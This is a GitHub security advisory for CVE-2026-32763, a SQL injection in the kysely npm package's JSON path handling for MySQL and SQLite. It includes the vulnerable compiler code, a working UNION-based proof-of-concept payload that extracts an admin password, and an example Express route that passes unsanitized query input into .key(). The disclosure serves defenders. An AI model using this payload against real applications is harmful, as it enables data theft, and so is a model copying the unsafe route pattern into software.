GitHub Advisoryadvisory · npm

GHSA-wmrf-hv6w-mr66 SQL Injection via unsanitized JSON path keys when ignoring/silencing compilation errors or using `Kysely<any>`.

HIGH Published 2026-03-18 Modified 2026-03-20 Official page ↗
Aliases
CVE-2026-32763
Ecosystem
npm
Packages
kysely
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weaknesses
CWE-89
Reviewed
2026-03-18

Affected packages

• npm kysely: >= 0.26.0, < 0.28.12 → fixed in 0.28.12

Description

Summary Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`'$.key'`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL. This is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected. Details `visitJSONPath()` wraps JSON path in single quotes (`'$...'`), and `visitJSONPathLeg()` appends each key/index value via `this.append(String(node.value))` with no sanitization: ```javascript // dist/cjs/query-compiler/default-query-compiler.js visitJSONPath(node) { if (node.inOperator) { this.visitNode(node.inOperator); } this.append("'$"); for (const pathLeg of node.pathLegs) { this.visitNode(pathLeg); // Each leg appended without escaping } this.append("'"); } visitJSONPathLeg(node) { const isArrayLocation = node.type === 'ArrayLocation'; this.append(isArrayLocation ? '[' : '.'); this.append(String(node.value)); // $`, `->>$`) produce a `JSONPathNode` traversal → `visitJSONPathLeg()` concatenates the key directly into a single-quoted JSON path string (`'$.key'`) — vulnerable, no escaping. • PostgreSQL operators (`->`, `->>`) produce a `JSONOperatorChainNode` traversal → `ValueNode.createImmediate(value)` → `appendImmediateValue()` → `appendStringLiteral()` → `sanitizeStringLiteral()` doubles single quotes (`'` → `''`), generating chained operators (`"col"->>'city'`). Injection payload becomes a harmless string literal. Same `.key()` call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely. PoC End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3): ```javascript const Database = require('better-sqlite3'); const { Kysely, SqliteDialect } = require('kysely'); const sqliteDb = new Database(':memory:'); sqliteDb.exec(` CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT); INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}'); INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}'); CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT); INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123'); `); const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) }); async function main() { // Safe usage const safe = await db .selectFrom('users') .select(eb => eb.ref('profile', '->>$').key('city').as('city')) .execute(); console.log("Safe:", safe); // [ { city: 'Seoul' }, { city: 'Tokyo' } ] // Injection via .key() — exfiltrate admin password const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `; const attack = await db .selectFrom('users') .select(eb => eb.ref('profile', '->>$').key(malicious).as('city')) .execute(); console.log("Injected:", attack); // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ] } main(); ``` The payload includes `as "city" from "users"` to complete the first SELECT before the UNION. The `--` comments out the trailing `' as "city" from "users"` appended by Kysely. Generated SQL: ```sql select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users" ``` Realistic application pattern ```javascript app.get('/api/products', async (req, res) => { const field = req.query.field || 'name'; const products = await db .selectFrom('products') .select(eb => eb.ref('metadata', '->>$').key(field).as('value')) .execute(); res.json(products); }); ``` Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data. Suggested fix Escape single quotes in JSON path values within `visitJSONPathLeg()`, similar to how `sanitizeIdentifier()` doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers. Impact SQL Injection (CWE-89) — An attacker can inject arbitrary SQL via crafted JSON key names passed to `.key()` or `.at()`, enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.

Related

Alias · CVE (1)

  • CVE-2026-32763 Kysely is a type-safe TypeScript SQL query builder. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References